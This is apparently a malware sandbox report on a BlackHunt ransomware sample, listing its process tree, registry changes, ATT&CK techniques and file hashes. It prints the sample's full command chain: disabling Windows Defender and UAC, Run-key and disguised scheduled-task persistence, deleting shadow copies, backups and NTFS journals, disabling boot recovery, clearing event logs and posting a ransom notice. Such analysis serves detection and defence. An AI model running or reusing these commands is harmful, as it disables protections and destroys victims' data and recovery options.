wrote to memory of 2688 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 50 PID 2872 wrote to memory of 2688 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 50 PID 2872 wrote to memory of 2688 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 50 PID 2668 wrote to memory of 2632 2668 fsutil.exe 51 PID 2668 wrote to memory of 2632 2668 fsutil.exe 51 PID 2668 wrote to memory of 2632 2668 fsutil.exe 51 PID 2872 wrote to memory of 2572 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 52 PID 2872 wrote to memory of 2572 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 52 PID 2872 wrote to memory of 2572 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 52 PID 2872 wrote to memory of 2572 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 52 PID 2716 wrote to memory of 2460 2716 cmd.exe 54 PID 2716 wrote to memory of 2460 2716 cmd.exe 54 PID 2716 wrote to memory of 2460 2716 cmd.exe 54 PID 2872 wrote to memory of 2456 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 55 PID 2872 wrote to memory of 2456 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 55 PID 2872 wrote to memory of 2456 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 55 PID 2872 wrote to memory of 2456 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 55 PID 2872 wrote to memory of 2476 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 56 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe"C:\Users\Admin\AppData\Local\Temp\53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2872 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3048 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2588
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2924 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵PID:2616
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2568 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:2740
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2668
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2632
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2708
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2516
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2716 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2460
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2952
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:968
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2576
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:1680
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2484
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:1852
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2688
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:1316
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2572
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:2052
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2456
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:1252
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2476
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:1740
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2532
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2232
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2636
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:2108
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2884
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:2124
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2888
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1072
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1676
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2784
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:1268
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:1508
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1884
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2276
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2016
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:580
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:960
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:1556
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:1400
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:1092
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:1988
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:2972
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1848
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2928
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2388
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:996
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1860
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:684
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2512
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:2424
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2560
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:2076
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe" /F2⤵PID:972
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe" /F3⤵
- Creates scheduled task(s)
PID:2420
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2548
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
- Modifies registry class
PID:2616
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2292
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2996
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:2132
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:2168
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:2832
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2468
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:680
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2672
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2836
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2752
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1280
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2812
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1468
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
- Suspicious use of WriteProcessMemory
PID:2668
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2280
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2700
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:928
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2968
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:2008
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:2696
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:3532
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:3908
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:1236
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:1920
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:3088
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3444
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:3300
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3544
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:484
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3140
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:3832
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3408
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:3868
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3892
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2836
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:3336
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2000
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3492
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:3752
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1352
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2596
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3232
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2468
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:960
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:3160
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2972
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:1824
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:1896
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:2732
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:3256
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:2976
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:1720
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:2292
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:1128
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:3900
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:2600
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:2296
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3764
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:528
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:2752
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:1648
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:3360
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe"2⤵
- Deletes itself
PID:2528 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2568
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1836
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4000
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:2284
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:3584
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
6Replay Monitor
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Downloads
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Filesize
1KB
MD5c0cb2bc33325bcea1d9c4ca07ccc2299
SHA11f8458d40ebebc7254d6a0f98f5757a3eaeaa6c8
SHA256b5c4697f8a4deb8627c8fe427481972f887624b30054b89753e1d64f32e2e3c9
SHA512b1631308f5aaaf2d5d971d0e24ff50640f8012fbcef886be8fff7c21434100cdcb014e38121cba9218d1b7d79084c3977fb747eb393f37ceef755a510689ef98
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Filesize
12KB
MD535763161a5ed65aa1fdfdcaf89ed2c10
SHA113fbd369603cdea07d7cca6ebd3f86dbe953c9eb
SHA2561a4d7146042a768595af6c108faf59e748f5bcf7b94a2feebeca70769104ed15
SHA512b1f4d347b52b8c8f956789dea978845b79977fb9ffc0a2cde47e8f7da9b716c4f7e61b8408ed6fe5eda0f29b21b2f8c712dcd28ff5b7a516a6ddfcc65d38c1f2
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Filesize
684B
MD547a3bfc1cff7ea22c0c2ff94cc38bbe5
